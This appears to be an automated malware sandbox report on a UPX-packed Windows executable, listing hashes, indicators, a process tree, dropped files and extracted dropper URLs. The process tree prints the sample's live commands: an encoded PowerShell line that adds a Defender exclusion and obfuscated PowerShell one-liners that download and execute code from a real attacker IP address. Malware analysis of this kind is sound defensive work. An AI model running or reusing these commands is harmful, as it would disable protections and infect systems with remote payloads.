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Analysis

  • max time kernel
    144s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    12/09/2022, 19:56

General

  • Target

    3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe

  • Size

    979KB

  • MD5

    c13f1a8cf97ee2f8c3c782e7e8bb717f

  • SHA1

    02c0218bca2ce9801860b1b0793d8631d09b9933

  • SHA256

    3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea

  • SHA512

    79073289d8e9b902cbbb895164b7c1e06f18a8367d339b3f3d681170306882de436bcdb9eb3b73c69d4869e40f98138ad8b0d89e1709d2158dfef028b92b4f08

  • SSDEEP

    24576:gYrxUgRM5Ybc9bKvu6DPiCskNxZsTB3O6vJV9XKEYoSNd64X:g1Cgb+DPitklsTB3vJLXY5Nd6q

Score
10/10
upx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://31.41.244.231/AVAVA/WAW/APPDATA/go.oo

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://31.41.244.231/AVAVA/WAW/Documents/go.oo

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
    "C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Roaming\Offs\KillDuplicate.cmd" "C:\Users\Admin\AppData\Roaming\Offs" "3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe""
      2⤵
        PID:1204
      • C:\Users\Admin\AppData\Roaming\Offs\Offer.exe
        "C:\Users\Admin\AppData\Roaming\Offs\Offer.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAJwAgACAALQBGAG8AcgBjAGUAOwA=
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1136
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/APPDATA/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/Documents/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:744

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      720933ad62030370ffe961f92fa92c02

      SHA1

      84e3c1b5d5ca48d22f66092b57e14ab2d8b7efe8

      SHA256

      68d16a03277399c2edeebd2227ceb50b12fa33311a2e5348f28320706c219f0d

      SHA512

      24c1b859293e62d3b1b4e542e2d263b24f1da0832e9d52e3d2455c166c4400c8a6d5acf900e27aaa5dade43446f075012e82fd75d4e8ef7b073291907e38dff5

    • C:\Users\Admin\AppData\Roaming\Offs\Offer.exe

      Filesize

      7KB

      MD5

      fa4300da126da4a4ecf2c0d82dbe92f4

      SHA1

      3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

      SHA256

      1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

      SHA512

      d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

    • \Users\Admin\AppData\Roaming\Offs\Offer.exe

      Filesize

      7KB

      MD5

      fa4300da126da4a4ecf2c0d82dbe92f4

      SHA1

      3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

      SHA256

      1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

      SHA512

      d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

    • \Users\Admin\AppData\Roaming\Offs\Offer.exe

      Filesize

      7KB

      MD5

      fa4300da126da4a4ecf2c0d82dbe92f4

      SHA1

      3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

      SHA256

      1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

      SHA512

      d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

    • memory/744-81-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/744-78-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/744-74-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1008-75-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1008-79-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1008-80-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1136-76-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1136-77-0x00000000729D0000-0x0000000072F7B000-memory.dmp

      Filesize

      5.7MB

    • memory/1380-70-0x00000000003A0000-0x00000000003A7000-memory.dmp

      Filesize

      28KB

    • memory/1380-71-0x00000000003A0000-0x00000000003A7000-memory.dmp

      Filesize

      28KB

    • memory/1380-69-0x0000000000400000-0x0000000000434000-memory.dmp

      Filesize

      208KB

    • memory/1380-54-0x00000000757A1000-0x00000000757A3000-memory.dmp

      Filesize

      8KB

    • memory/1380-82-0x00000000003A0000-0x00000000003A7000-memory.dmp

      Filesize

      28KB

    • memory/1484-72-0x0000000000400000-0x0000000000407000-memory.dmp

      Filesize

      28KB